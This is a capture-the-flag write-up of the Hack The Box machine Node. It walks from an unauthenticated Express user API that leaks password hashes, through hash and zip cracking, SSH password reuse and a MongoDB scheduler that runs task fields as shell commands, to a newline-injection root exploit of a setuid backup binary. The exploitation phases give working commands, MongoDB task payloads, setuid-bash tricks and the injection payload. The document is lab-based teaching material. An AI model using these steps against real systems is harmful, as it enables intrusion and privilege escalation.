HTB: Node
An Express API that returns its user collection to anyone gives up an admin password hash, the admin backup contains the application source and a database password that is also an SSH password, a scheduler runs database rows as shell commands for a second user, and a setuid backup binary with a deny-list filter runs a newline-injected command as root.
- Published
- Reading time
- 23 min
- Difficulty
- medium
- Target
- Linux (Node)
Overview
Node is a medium-rated Linux machine: Ubuntu 16.04 with SSH and one web application, an Express server with an AngularJS front end called MyPlace.
The chain has four links. The user-list API needs no session and returns
unsalted SHA-256 password hashes, the administrator’s included. The
administrator’s backup download holds the server source, and the MongoDB
password in it is also the SSH password of mark. A second Node process
owned by tom runs commands from a MongoDB collection mark can write to.
tom is in the one group allowed to run a setuid root backup program whose
path filter forgets the newline.
User took 8 minutes from spawn and root 9 from spawn. Three things went wrong: a download that kept arriving truncated, a helper shell with the wrong group, and a read attempted before a timer fired. I have read write-ups of this machine in the past; the three steps where recall could have steered are marked, each with the observation that justified it on the day.
Credentials are masked in every block as <masked>, <cracked> or
<archive password>. Nothing else in a command is altered.
Reconnaissance
A full TCP sweep and a service scan of the top 1,000 ports, both through the tools container:
cd ../..; bin/kali node "nmap -Pn -p- --min-rate 2000 -oN /work/scans/01-full.nmap 10.129.101.116" | grep -E "open|done"
cd ../..; bin/kali node "nmap -Pn -sC -sV -oN /work/scans/02-top1000.nmap 10.129.101.116" | grep -vE "^$|Starting|Service detection"
22/tcp open ssh
3000/tcp open ppp
[...]
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
[...]
3000/tcp open hadoop-tasktracker Apache Hadoop
|_http-title: MyPlace
| hadoop-datanode-info:
|_ Logs: /login
[...]
The Hadoop label is nmap misreading a page with a /login link. The response
headers say what it is:
curl -si -m 20 http://10.129.101.116:3000/ | head -70; echo "### robots"; curl -si -m 20 http://10.129.101.116:3000/robots.txt | head -12
HTTP/1.1 200 OK
X-Powered-By: Express
[...]
Last-Modified: Sat, 02 Sep 2017 11:27:58 GMT
ETag: W/"f15-15e4258ef70"
Content-Type: text/html; charset=UTF-8
Content-Length: 3861
[...]
<!--[if gt IE 8]><!--> <html lang="en" ng-csp="" ng-app="myplace"> <!--<![endif]-->
[...]
### robots
HTTP/1.1 200 OK
X-Powered-By: Express
Accept-Ranges: bytes
Cache-Control: public, max-age=0
Last-Modified: Sat, 02 Sep 2017 11:27:58 GMT
ETag: W/"f15-15e4258ef70"
[...]
Express, serving an AngularJS application. robots.txt comes back 200 with
the same Last-Modified and ETag as the index: the server answers any
unknown path with the application shell. The client scripts are a better map
than a wordlist here: a single-page application has to tell the browser every
route it calls.
curl -s -m 20 http://10.129.101.116:3000/ | grep -oE "src=\"[^\"]+\"" ; for f in app app.js controllers/home.js controllers/login.js controllers/admin.js controllers/profile.js; do echo "### /assets/js/app/$f"; curl -s -m 20 http://10.129.101.116:3000/assets/js/app/$f | head -60; done
The first name in that loop, app without an extension, was a typing slip
and returned the shell page. The four controller names are the first place
recall chose a request: the same call lists the script tags and fetches the
files, so I typed the names before any output had shown them (the earlier
head -70 stopped above the tags). The tag list confirms all four. The
rest, trimmed to the lines that name a route:
[...]
src="assets/js/app/app.js"
src="assets/js/app/controllers/home.js"
src="assets/js/app/controllers/login.js"
src="assets/js/app/controllers/admin.js"
src="assets/js/app/controllers/profile.js"
[...]
### /assets/js/app/controllers/home.js
[...]
$http.get('/api/users/latest').then(function (res) {
[...]
### /assets/js/app/controllers/login.js
[...]
$http.post('/api/session/authenticate', {
username: $scope.username,
password: $scope.password
[...]
### /assets/js/app/controllers/admin.js
[...]
$window.open('/api/admin/backup', '_self');
[...]
$http.get('/api/session')
[...]
### /assets/js/app/controllers/profile.js
[...]
$http.get('/api/users/' + $routeParams.username)
[...]
Five routes. Two of them sit under /api/users/, which makes the collection
itself the obvious sixth request. This is the second of the three steps I could
have taken from memory; the reason on the day was that parent.
for p in /api/users/latest /api/users /api/users/ /api/session /api/admin/backup /api; do echo "### $p"; curl -s -m 20 -w "\n[status %{http_code} bytes %{size_download}]\n" http://10.129.101.116:3000$p | cut -c1-900; done
### /api/users/latest
[{"_id":"59a7368398aa325cc03ee51d","username":"tom","password":"[...]","is_admin":false},{"_id":"59a7368e98aa325cc03ee51e","username":"mark","password":"[...]","is_admin":false},{"_id":"59aa9781cced6f1d1490fce9","username":"rastating","password":"[...]","is_admin":false}]
[status 200 bytes 449]
### /api/users
[{"_id":"59a7365b98aa325cc03ee51c","username":"myP14ceAdm1nAcc0uNT","password":"[...]","is_admin":true},{"_id":"59a7368398aa325cc03ee51d","username":"tom",[...]
[status 200 bytes 611]
[...]
### /api/session
{"authenticated":false}
[status 200 bytes 23]
### /api/admin/backup
{"authenticated":false}
[status 200 bytes 23]
### /api
[...]
[status 200 bytes 3861]
The home page’s own request already leaks three password hashes, and the
collection adds a fourth account, flagged is_admin. Each password field,
cut here, is 64 hex characters: a raw SHA-256 digest with no salt beside it.
Attack Surface Analysis
| Surface | Weakness | CWE |
|---|---|---|
/api/users, /api/users/latest |
Whole user documents, hashes included, with no session | CWE-306 (missing authentication for critical function) |
| Password storage | One round of unsalted SHA-256 | CWE-916 (password hash with insufficient computational effort) |
/api/admin/backup |
Ships the source tree, with the database password in it | CWE-798 (hard-coded credentials) |
mark’s accounts |
One password for MongoDB and for SSH | No CWE names reuse exactly; nearest is CWE-522 (insufficiently protected credentials) |
/var/scheduler/app.js |
Passes a database field to child_process.exec as tom |
CWE-78 (OS command injection) |
/usr/local/bin/backup |
Setuid root, filters its path with a deny-list, then system() |
CWE-184 (incomplete list of disallowed inputs), CWE-78 |
/usr/local/bin/backup |
strcpy of the path into a stack buffer |
CWE-121 (stack-based buffer overflow), not exploited here |
The first row is the only one reachable from outside. Everything after it is reached with something the previous row handed over.
Vulnerability Analysis
The server source is quoted from the backup obtained in Phase 1, so it was in hand before the steps that depend on it. Two of the three user routes:
app.get('/api/users/?', function (req, res) {
db.collection('users').find().toArray(function (error, docs) {
[...]
res.send(docs);
[...]
app.get('/api/users/latest', function (req, res) {
db.collection('users').find({ is_admin: false }).toArray(function (error, docs) {
No session check and no projection: the handler sends the documents as
stored, and latest hides the administrator and nothing else. The login
handler shows how the hashes are made:
var hash = crypto.createHash('sha256');
var cipherText = hash.update(req.body.password).digest('hex');
if (cipherText == doc.password) {
req.session.user = doc;
One SHA-256, no salt, no work factor. The top of the file and the backup route:
const url = 'mongodb://mark:<masked>@localhost:27017/myplace?authMechanism=DEFAULT&authSource=myplace';
const backup_key = '<masked>';
[...]
app.get('/api/admin/backup', function (req, res) {
if (req.session.user && req.session.user.is_admin) {
var proc = spawn('/usr/local/bin/backup', ['-q', backup_key, __dirname ]);
The scheduler, read on the box as mark, is 28 lines. Its core:
const url = 'mongodb://mark:<masked>@localhost:27017/scheduler?authMechanism=DEFAULT&authSource=scheduler';
[...]
setInterval(function () {
db.collection('tasks').find().toArray(function (error, docs) {
if (!error && docs) {
docs.forEach(function (doc) {
if (doc) {
console.log('Executing task ' + doc._id + '...');
exec(doc.cmd);
db.collection('tasks').deleteOne({ _id: new ObjectID(doc._id) });
[...]
}, 30000);
Every 30 seconds each document’s cmd goes to a shell. The process runs as
tom and connects to the database as mark, so write access to one
collection is command execution as a different Unix user.
The backup binary is a 16 KB 32-bit ELF, not stripped and readable by others. I copied it off and disassembled it (Phase 4 has the commands). The checks on the path argument, each followed by the same refusal:
8048e90: push 0x80498a7 ; '..'
8048e95: push eax
8048e96: call 80485e0 <strstr@plt>
[...]
8048ea5: push 0x80498ac ; 'Finished! Encoded backup is below:\n'
8048eaa: call 804897f <displaySuccess>
[...]
8048eb5: push 0x80498d0 ; 'UEsDBDMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAcm9vdC50eHQBmQcAAgBB'
8048eba: call 8048690 <puts@plt>
[...]
8048ed7: push 0x8049ec5 ; '/root'
8048edd: call 80485e0 <strstr@plt>
[...]
8048f1e: push 0x3b
[...]
8048f62: push 0x26
[...]
8048fa6: push 0x60
[...]
8048fea: push 0x24
[...]
804902e: push 0x7c
[...]
8049072: push 0x8049ecb ; '//'
[...]
80490b9: push 0x8049ece ; '/'
80490bf: call 80485f0 <strcmp@plt>
[...]
8049100: push 0x8049ed0 ; '/etc'
The path is refused if it contains .., /root, ;, &, a backtick, $,
a pipe, // or /etc, or if it is exactly /. A refusal prints the success
message and a fixed base64 blob, a decoy I did not decode. A path that passes
goes here:
8049162: lea eax,[ebp-0x6ed]
8049168: push eax
8049169: call 8048670 <strcpy@plt>
[...]
80491c8: lea eax,[ebp-0x6ed]
80491ce: push eax
80491cf: lea eax,[ebp-0xad5]
80491d5: push eax
80491d6: push 0x8049ee8 ; '/usr/bin/zip -r -P <archive password> %s %s > /dev/null'
[...]
80491e2: call 8048750 <sprintf@plt>
[...]
80491f4: call 80486a0 <system@plt>
The path is formatted into a shell command and run with system(), after a
setuid(geteuid()) at the top of main that makes the real uid 0 as well.
The deny-list omits the newline, which separates commands as well as ;
does. The unbounded strcpy is a second way in, and since the filter matches
literal strings a wildcard should reach /root too; I tried neither. The
newline gives command execution, not only a file read.
Exploitation
Phase 1: API to the administrator’s backup
The four username:hash pairs go to a file and to john with rockyou:
curl -s -m 20 http://10.129.101.116:3000/api/users | jq -r ".[]|.username+\":\"+.password" > artifacts/users.hashes; cut -d: -f1 artifacts/users.hashes; wc -l < artifacts/users.hashes
cd ../..; bin/kali node "john --format=Raw-SHA256 --wordlist=/usr/share/wordlists/rockyou.txt --pot=/work/artifacts/john.pot /work/artifacts/users.hashes 2>&1 | tail -8; chmod 644 /work/artifacts/john.pot"
[...]
<cracked> (tom)
<cracked> (myP14ceAdm1nAcc0uNT)
<cracked> (mark)
3g 0:00:00:00 DONE (2026-11-24 06:38) 3.488g/s 16678Kp/s 16678Kc/s 17592KC/s [...]
[...]
Three of four in under a second, the administrator among them; rastating
does not crack. (john’s colour codes are removed from that block.) Logging
in, with a wrong password first as the control:
U=http://10.129.101.116:3000; echo "### control: wrong password"; curl -s -m 20 -H "Content-Type: application/json" -d "{\"username\":\"myP14ceAdm1nAcc0uNT\",\"password\":\"wrongpass1\"}" $U/api/session/authenticate; echo; echo "### cracked password"; curl -s -m 20 -c artifacts/cj.txt -H "Content-Type: application/json" -d "{\"username\":\"myP14ceAdm1nAcc0uNT\",\"password\":\"<cracked>\"}" $U/api/session/authenticate; echo; echo "### session"; curl -s -m 20 -b artifacts/cj.txt $U/api/session; echo; echo "### backup"; curl -s -m 120 -b artifacts/cj.txt -o artifacts/myplace.backup -w "status %{http_code} bytes %{size_download} type %{content_type}\n" $U/api/admin/backup; head -c 120 artifacts/myplace.backup; echo; file artifacts/myplace.backup
### control: wrong password
{"success":false}
### cracked password
{"success":true}
### session
{"authenticated":true,"user":{"_id":"59a7365b98aa325cc03ee51c","username":"myP14ceAdm1nAcc0uNT","password":"[...]","is_admin":true}}
### backup
status 200 bytes 667107 type text/plain; charset=utf-8
UEsDBAoAAAAAABqJEFUAAAAAAAAAAAAAAAAQABwAdmFyL3d3dy9teXBsYWNlL1VUCQADFMH7YtwwBWt1eAsAAQQAAAAABAAAAABQSwMEFAAJAAgARQEiS0x9
artifacts/myplace.backup: ASCII text, with very long lines (65536), with no line terminators
Base64 that starts with a zip header. base64 -d rejected it, and 667,107 is
not a multiple of four: the download was short. This cost about two and a
half minutes. Six more attempts in two calls; the second call:
for i in 3 4 5 6; do curl -s -m 300 -b artifacts/cj.txt -o artifacts/myplace.backup.$i -w "try $i status %{http_code} bytes %{size_download} time %{time_total} exit %{exitcode}\n" http://10.129.101.116:3000/api/admin/backup; done; for f in artifacts/myplace.backup.*; do echo "$f $(wc -c < $f) mod4 $(( $(wc -c < $f) % 4 ))"; done; cmp artifacts/myplace.backup.1 artifacts/myplace.backup.2 | head -2; curl -s -m 60 -b artifacts/cj.txt -D - -o /dev/null http://10.129.101.116:3000/api/admin/backup | head -12
try 3 status 200 bytes 1774413 time 6.670831 exit 18
try 4 status 200 bytes 1188753 time 6.143878 exit 18
try 5 status 200 bytes 1827531 time 6.313876 exit 18
try 6 status 200 bytes 1625955 time 6.409029 exit 18
[...]
artifacts/myplace.backup.1 artifacts/myplace.backup.2 differ: byte 221, line 1
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: text/plain; charset=utf-8
Content-Disposition: attachment; filename=myplace.backup
Content-Length: 3459880
[...]
The server promises 3,459,880 bytes and closes the connection after about six seconds with between a fifth and a half delivered. Two copies differ from byte 221, because every archive is built fresh, so the pieces cannot be joined. One call with four variants:
U=http://10.129.101.116:3000/api/admin/backup; curl -s -m 300 -b artifacts/cj.txt --limit-rate 40k -o /dev/null -w "limit-rate 40k: bytes %{size_download} time %{time_total} exit %{exitcode}\n" $U; curl -s -m 300 -b artifacts/cj.txt --http1.0 -o /dev/null -w "http1.0: bytes %{size_download} time %{time_total} exit %{exitcode}\n" $U; curl -s -m 300 -b artifacts/cj.txt --compressed -H "Connection: close" -o /dev/null -w "compressed+close: bytes %{size_download} time %{time_total} exit %{exitcode}\n" $U; curl -s -m 300 -b artifacts/cj.txt -r 3000000- -o /dev/null -w "range 3000000-: status %{http_code} bytes %{size_download} time %{time_total} exit %{exitcode}\n" $U
limit-rate 40k: bytes 432843 time 11.385727 exit 18
http1.0: bytes 3459880 time 8.977364 exit 0
compressed+close: bytes 3459880 time 9.491863 exit 0
range 3000000-: status 200 bytes 2320575 time 6.949203 exit 18
Not a fixed time and not a fixed size, and it disappears whenever the client
does not ask for a persistent connection. The box runs Node v8.4.0, read
later as root. I did not establish the cause; a plain five-second keep-alive
timer would not explain the throttled run lasting 11.4 seconds. With
Connection: close:
curl -s -m 300 -b artifacts/cj.txt -H "Connection: close" -o loot/myplace.backup -w "status %{http_code} bytes %{size_download} time %{time_total} exit %{exitcode}\n" http://10.129.101.116:3000/api/admin/backup; base64 -d loot/myplace.backup > loot/myplace.zip; file loot/myplace.zip; unzip -l loot/myplace.zip | tail -1; unzip -Z -v loot/myplace.zip | grep -m1 "file security status"; unzip -l loot/myplace.zip | grep -v node_modules | grep -vE "static/(vendor|assets)" | head -40
status 200 bytes 3459880 time 9.646951 exit 0
loot/myplace.zip: Zip archive data, made by v3.0 UNIX, extract using at least v1.0, last modified Aug 16 2022 17:08:52, uncompressed size 0, method=store
6745791 863 files
file security status: not encrypted
[...]
21264 2017-09-02 03:10 var/www/myplace/package-lock.json
283 2017-09-02 03:09 var/www/myplace/package.json
8058 2017-09-03 16:23 var/www/myplace/app.js
[...]
The not encrypted line describes the first entry, a directory. The file
entries are encrypted.
cd ../..; bin/kali node "zip2john /work/loot/myplace.zip 2>/dev/null > /work/loot/zip.hash; wc -c < /work/loot/zip.hash; john --wordlist=/usr/share/wordlists/rockyou.txt --pot=/work/loot/zip.pot /work/loot/zip.hash 2>&1 | tail -5; chmod 644 /work/loot/zip.pot /work/loot/zip.hash"
1074
Press Ctrl-C to abort, or send SIGUSR1 to john process for status
<archive password> (myplace.zip)
1g 0:00:00:00 DONE (2026-11-24 06:40) 20.00g/s 3932Kp/s 3932Kc/s 3932KC/s sandriux..piggy9
[...]
Also in rockyou. app.js and package.json are then printed straight from
the archive, without unpacking 863 files:
unzip -p -P <archive password> loot/myplace.zip var/www/myplace/app.js > loot/app.js; wc -c loot/app.js; cat loot/app.js; unzip -p -P <archive password> loot/myplace.zip var/www/myplace/package.json
The output is the source quoted in Vulnerability Analysis.
Phase 2: the database password as an SSH password
mark is an application user, a MongoDB user, and possibly a system user.
The MongoDB password goes into a file for sshpass -f, then SSH gets a
wrong-password control, the two cracked application passwords, and the
database password:
set -euo pipefail; grep -oP "mongodb://mark:\K[^@]+" loot/app.js | tr -d "\n" > loot/mark.pw; chmod 644 loot/mark.pw; wc -c < loot/mark.pw
cd ../..; bin/kali node "O=\"-o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o LogLevel=ERROR -o PreferredAuthentications=password -o PubkeyAuthentication=no -o ConnectTimeout=15\"; echo \"### control mark:wrongpass1\"; sshpass -p wrongpass1 ssh \$O mark@10.129.101.116 id 2>&1 | tail -1; echo \"### mark:<cracked> (app password)\"; sshpass -p <cracked> ssh \$O mark@10.129.101.116 id 2>&1 | tail -1; echo \"### tom:<cracked> (app password)\"; sshpass -p <cracked> ssh \$O tom@10.129.101.116 id 2>&1 | tail -1; echo \"### mark:<mongodb password>\"; sshpass -f /work/loot/mark.pw ssh \$O mark@10.129.101.116 \"id; hostname; uname -a; cat /etc/lsb-release | tail -1; ls -la /home /home/*; sudo -n -l 2>&1 | head -3; ps -eo user,pid,args | grep -vE \\\"\\\\[|ps -eo\\\" | grep -E \\\"node|mongo|^tom\\\"; find / -perm -4000 -type f 2>/dev/null | grep -vE \\\"^/(snap|proc)\\\"; ls -la /usr/local/bin\" 2>&1"
16
[...]
### control mark:wrongpass1
Permission denied, please try again.
### mark:<cracked> (app password)
Permission denied, please try again.
### tom:<cracked> (app password)
Permission denied, please try again.
### mark:<mongodb password>
uid=1001(mark) gid=1001(mark) groups=1001(mark)
node
Linux node 4.4.0-93-generic #116-Ubuntu SMP Fri Aug 11 21:17:51 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
DISTRIB_DESCRIPTION="Ubuntu 16.04.3 LTS"
[...]
-rw-r----- 1 root tom 33 Nov 24 06:36 user.txt
sudo: a password is required
tom 1270 /usr/bin/node /var/www/myplace/app.js
mongodb 1282 /usr/bin/mongod --auth --quiet --config /etc/mongod.conf
tom 1284 /usr/bin/node /var/scheduler/app.js
[...]
/usr/local/bin/backup
[...]
-rwsr-xr-- 1 root admin 16484 Sep 3 2017 backup
A shell as mark. The flag belongs to tom’s group, tom runs two Node
processes, and the backup program the web application calls is setuid root
and executable only by group admin.
Phase 3: mark to tom through the scheduler
Single commands go to the box through sshm.sh:
#!/bin/bash
# run one command on the target as mark; password read from loot/mark.pw inside the container
cd "$(dirname "$0")/../../.." && bin/kali node "sshpass -f /work/loot/mark.pw ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o LogLevel=ERROR -o PubkeyAuthentication=no -o ConnectTimeout=15 mark@10.129.101.116 $(printf '%q' "$1")"
artifacts/sshm.sh "ls -la /var/scheduler; cat /var/scheduler/app.js; echo ---; id tom; getent group admin; mount | grep -E \" /tmp | /dev/shm | /var/tmp \"; ls -ld /tmp /dev/shm /var/tmp; which mongo"
[...]
uid=1000(tom) gid=1000(tom) groups=1000(tom),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),115(lpadmin),116(sambashare),1002(admin)
admin:x:1002:tom,root
tmpfs on /dev/shm type tmpfs (rw,nosuid,nodev)
[...]
That printed the scheduler source quoted earlier and put tom in group
admin. Nothing the target starts may connect back to my machine in this
lab, so the task I insert leaves a setuid copy of bash for mark to run.
/dev/shm is mounted nosuid, hence /var/tmp. Scripts go to the box
through one wrapper, sshs.sh, which pipes a saved file to bash -s:
#!/bin/bash
# run a saved script (path relative to machines/node) on the target as mark through bash -s
cd "$(dirname "$0")/../../.." && bin/kali node "sshpass -f /work/loot/mark.pw ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o LogLevel=ERROR -o PubkeyAuthentication=no -o ConnectTimeout=15 mark@10.129.101.116 bash -s < /work/$1"
20-task.sh reads the collection before writing to it:
P=$(grep -oP 'mark:\K[^@]+' /var/scheduler/app.js)
echo "### tasks before"
mongo --quiet -u mark -p "$P" scheduler --eval 'printjson(db.tasks.find().toArray())'
echo "### insert"
mongo --quiet -u mark -p "$P" scheduler --eval 'printjson(db.tasks.insert({cmd:"cp /bin/bash /var/tmp/.nt; chgrp admin /var/tmp/.nt; chmod 6755 /var/tmp/.nt"}))'
echo "### tasks after"
mongo --quiet -u mark -p "$P" scheduler --eval 'printjson(db.tasks.find().toArray())'
date
artifacts/sshs.sh artifacts/20-task.sh
### tasks before
[ ]
### insert
{ "nInserted" : 1 }
### tasks after
[
{
"_id" : ObjectId("6b0531e71e246030ff004f07"),
"cmd" : "cp /bin/bash /var/tmp/.nt; chgrp admin /var/tmp/.nt; chmod 6755 /var/tmp/.nt"
}
]
Tue Nov 24 06:42:47 GMT 2026
One flaw in my own script: -p "$P" puts the password on the mongo command
line, visible to any local user in the process list while it runs. Then
21-tom.sh:
date; ls -la /var/tmp/.nt
/var/tmp/.nt -p -c 'id; wc -c /home/tom/user.txt; ls -la /usr/local/bin/backup; /usr/local/bin/backup; echo "backup exit $?"'
P=$(grep -oP 'mark:\K[^@]+' /var/scheduler/app.js)
mongo --quiet -u mark -p "$P" scheduler --eval 'printjson(db.tasks.find().toArray())'
artifacts/sshs.sh artifacts/21-tom.sh
Tue Nov 24 06:43:04 GMT 2026
-rwsr-sr-x 1 tom admin 1037528 Nov 24 06:42 /var/tmp/.nt
uid=1001(mark) gid=1001(mark) euid=1000(tom) egid=1002(admin) groups=1002(admin),1001(mark)
wc: /home/tom/user.txt: Permission denied
-rwsr-xr-- 1 root admin 16484 Sep 3 2017 /usr/local/bin/backup
backup exit 1
[ ]
The task ran and was deleted, and bash -p keeps the effective ids tom and
admin. The flag is denied, which was my mistake: user.txt is root-owned
with group tom, mode 0640, and my copy carries group admin, not tom. (A
cat through the same copy, sent with it, wrote an empty flag file.) One
file cannot be setgid to two groups. The copies were also a detour: the task
itself runs as the real tom with all his groups, so one task could have
read the flag to a file and run backup directly. A second task makes a
second copy:
P=$(grep -oP 'mark:\K[^@]+' /var/scheduler/app.js)
mongo --quiet -u mark -p "$P" scheduler --eval 'printjson(db.tasks.find().toArray()); printjson(db.tasks.insert({cmd:"cp /bin/bash /var/tmp/.nu; chmod 6755 /var/tmp/.nu"}))'
date
artifacts/sshs.sh artifacts/24-task2.sh
[ ]
{ "nInserted" : 1 }
Tue Nov 24 06:43:28 GMT 2026
26-userflag.sh sends the identity to stderr and the flag to stdout, so the
driver can put the flag in a file and print only its length and shape:
ls -la /var/tmp/.nu >&2; /var/tmp/.nu -p -c 'id >&2; cat /home/tom/user.txt'
artifacts/sshs.sh artifacts/26-userflag.sh > artifacts/user.txt; wc -c < artifacts/user.txt; grep -cE "^[0-9a-f]{32}$" artifacts/user.txt
My first run of that came too early. The task went in at 06:43:28 and the
timer next fired at 06:43:51, and I ran the read in between and got No such file. The same line again, after the timer:
-rwsr-sr-x 1 tom tom 1037528 Nov 24 06:43 /var/tmp/.nu
uid=1001(mark) gid=1001(mark) euid=1000(tom) egid=1000(tom) groups=1000(tom),1001(mark)
33
1
User flag, eight minutes in.
Phase 4: group admin to root through backup
The binary comes off the box as base64, since mark can read it:
artifacts/sshs.sh artifacts/23-getbin.sh | base64 -d > loot/backup.bin; ls -l loot/backup.bin; sha256sum loot/backup.bin; file loot/backup.bin
23-getbin.sh is the single line base64 -w0 /usr/local/bin/backup. A first
look with checksec and strings showed NX on, no PIE, the banner, the
decoy blob, and the zip format string:
bin/kali node 'cd /work/loot && checksec --file=backup.bin 2>&1 | tail -3; echo ---; strings -n 4 backup.bin | grep -vE "^(_|GLIBC|\.|GCC|crt|deregister|register|frame_dummy|completed)" | head -80' 2>&1 | tee machines/node/artifacts/25-strings.out
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
---
[...]
An r2 command with its errors discarded printed nothing, and which r2 radare2 objdump gdb ghidra ltrace in the container listed only objdump,
gdb and ltrace. So I wrote annot.py to resolve string addresses:
#!/usr/bin/env python3
# annotate objdump -d output: for each immediate inside .rodata, append the C string found there
import re, subprocess, sys
b = sys.argv[1]
data = open(b, 'rb').read()
hdr = subprocess.run(['objdump', '-h', b], capture_output=True, text=True).stdout
m = re.search(r'\.rodata\s+(\w+)\s+(\w+)\s+\w+\s+(\w+)', hdr)
size, vma, off = (int(x, 16) for x in m.groups())
dis = subprocess.run(['objdump', '-d', '-M', 'intel', '--no-show-raw-insn', b], capture_output=True, text=True).stdout
for line in dis.splitlines():
for imm in re.findall(r'0x(80[0-9a-f]{5})', line):
a = int(imm, 16)
if vma <= a < vma + size:
s = data[off + a - vma:].split(b'\0')[0][:60]
line += ' ; ' + repr(s.decode('latin1'))
print(line)
bin/kali node 'cd /work && python3 -I artifacts/annot.py loot/backup.bin > artifacts/29-disasm.out; wc -l artifacts/29-disasm.out; grep -n "<main>:\|<displayTarget>:\|<displayWarning>:\|<displaySuccess>:\|<__libc_csu_init>:" artifacts/29-disasm.out'
main is then cut from that file, and the listing in Vulnerability Analysis
is taken from the cut:
awk '/<main>:/{f=1} /<__libc_csu_init>:/{f=0} f' machines/node/artifacts/29-disasm.out > machines/node/artifacts/29-main.txt
The same listing shows the second argument compared with each line of
/etc/myplace/keys (the path is assembled on the stack), and the key the web
application passes is in app.js. This is the third step where recall could
have steered; the reason on the day is that listing, where the forbidden
characters are ;, &, backtick, $ and the pipe, and 0x0a is absent.
30-root.sh runs two controls and then the payload, all through the
admin copy of bash:
K=$(grep -oP "backup_key\s*=\s*'\K[0-9a-f]+" /var/www/myplace/app.js)
echo "### control: path /root"
/var/tmp/.nt -p -c '/usr/local/bin/backup -q "$0" /root' "$K" > /var/tmp/.c1; echo "exit $? bytes $(wc -c < /var/tmp/.c1) md5 $(md5sum < /var/tmp/.c1 | cut -c1-12) head $(head -c 24 /var/tmp/.c1)"
echo "### control: path /var/scheduler/package.json"
/var/tmp/.nt -p -c '/usr/local/bin/backup -q "$0" /var/scheduler/package.json' "$K" > /var/tmp/.c2; echo "exit $? bytes $(wc -c < /var/tmp/.c2) head $(head -c 24 /var/tmp/.c2)"
echo "### newline payload"
PAY=$(printf 'x\ncp /bin/bash /var/tmp/.nr\nchmod 4755 /var/tmp/.nr\ntrue')
/var/tmp/.nt -p -c '/usr/local/bin/backup -q "$0" "$1"' "$K" "$PAY"; echo "exit $?"
ls -la /var/tmp/.nr
/var/tmp/.nr -p -c 'id; wc -c /root/root.txt'
rm /var/tmp/.c1 /var/tmp/.c2
artifacts/sshs.sh artifacts/30-root.sh
### control: path /root
exit 0 bytes 1576 md5 e74b68ce55f6 head [+] Finished!
### control: path /var/scheduler/package.json
exit 0 bytes 464 head UEsDBBQACQAIAAFxI0uox5xD
### newline payload
zip warning: name not matched: x
zip error: Nothing to do! (try: zip -r -P <archive password> /tmp/.backup_2114855172 . -i x)
exit 0
-rwsr-xr-x 1 root mark 1037528 Nov 24 06:44 /var/tmp/.nr
uid=1001(mark) gid=1001(mark) euid=0(root) groups=1001(mark)
33 /root/root.txt
I removed the terminal colour bytes from the first control line. /root gets
the decoy with exit status 0; a permitted file gets a real archive. The
payload turns the one system() string into four lines: zip fails on a
file called x, cp and chmod run as root, and true takes the trailing
redirect. The result is a root-owned setuid bash (group mark, my real gid;
I did not trace where the effective group was dropped) and through it
effective uid 0. Root flag at nine minutes, saved the same way as the user
flag (31-rootflag.sh is /var/tmp/.nr -p -c 'cat /root/root.txt'), and
both were accepted:
artifacts/sshs.sh artifacts/31-rootflag.sh > artifacts/root.txt; wc -c < artifacts/root.txt; grep -cE "^[0-9a-f]{32}$" artifacts/root.txt
Post-Exploitation
Before stopping the machine I read what only root can, through
32-evidence.sh:
/var/tmp/.nr -p <<'R'
echo "### id"; id
echo "### /root"; ls -la /root
echo "### keys"; ls -la /etc/myplace; cat /etc/myplace/keys | cut -c1-12 | sed 's/$/[...]/'; wc -l /etc/myplace/keys
echo "### backup"; stat /usr/local/bin/backup | sed -n 1,4p; lsattr /usr/local/bin/backup
echo "### units"; ls -la /etc/systemd/system/ | grep -iE "myplace|sched"; cat /etc/systemd/system/myplace.service /etc/systemd/system/scheduler.service 2>&1
echo "### cron"; crontab -l 2>&1 | grep -v "^#"; ls /etc/cron.d; grep -v "^#" /etc/crontab
echo "### node"; node -v; mongod --version | head -1
echo "### mongod.conf"; grep -vE "^\s*#|^\s*$" /etc/mongod.conf
echo "### sshd"; grep -vE "^\s*#|^\s*$" /etc/ssh/sshd_config | grep -iE "passwordauth|permitroot|allowusers|listen"
echo "### passwd shells"; grep -E "sh$" /etc/passwd
echo "### sudoers"; grep -vE "^\s*#|^\s*$" /etc/sudoers; ls /etc/sudoers.d
echo "### scheduler journal"; journalctl -u scheduler --no-pager -n 8 2>&1 | cut -c1-160
echo "### myplace journal"; journalctl -u myplace --no-pager -n 5 2>&1 | cut -c1-160
echo "### auth.log (today, sshd accepted or failed)"; grep -E "sshd.*(Accepted|Failed)" /var/log/auth.log | tail -6 | sed -E 's/from [0-9.]+ /from 10.10.14.X /'
echo "### mongod log"; ls -la /var/log/mongodb/; tail -3 /var/log/mongodb/mongod.log 2>&1 | cut -c1-200
echo "### auditd"; which auditd auditctl 2>&1; ls /var/log/audit 2>&1
echo "### ufw"; ufw status 2>&1 | head -8
echo "### listeners"; ss -ltnp | cut -c1-110
echo "### /tmp backups left"; ls -la /tmp | head -12
R
artifacts/sshs.sh artifacts/32-evidence.sh
Its output, trimmed:
### keys
[...]
-rw-r--r-- 1 root root 196 Sep 2 2017 keys
[...]
4 /etc/myplace/keys
[...]
[Service]
User=tom
ExecStart=/usr/bin/node /var/scheduler/app.js
Restart=always
[...]
### node
v8.4.0
db version v3.2.16
[...]
### scheduler journal
[...]
Nov 24 06:42:51 node node[1284]: Executing task 6b0531e71e246030ff004f07...
Nov 24 06:43:51 node node[1284]: Executing task 6b053210641b6f3ae771652c...
[...]
### auth.log (today, sshd accepted or failed)
Nov 24 06:43:26 node sshd[1834]: Accepted password for mark from 10.10.14.X port 34428 ssh2
[...]
### mongod log
[...]
-rw-r--r-- 1 mongodb nogroup 105931 Nov 24 06:35 mongod.log
[...]
### auditd
ls: cannot access '/var/log/audit': No such file or directory
The key file is world-readable, so the backup_key in the source was never
the only way to it. A last script, 33-roles-cleanup.sh, confirmed mark
holds readWrite on both the myplace and scheduler databases, then
removed my three setuid copies:
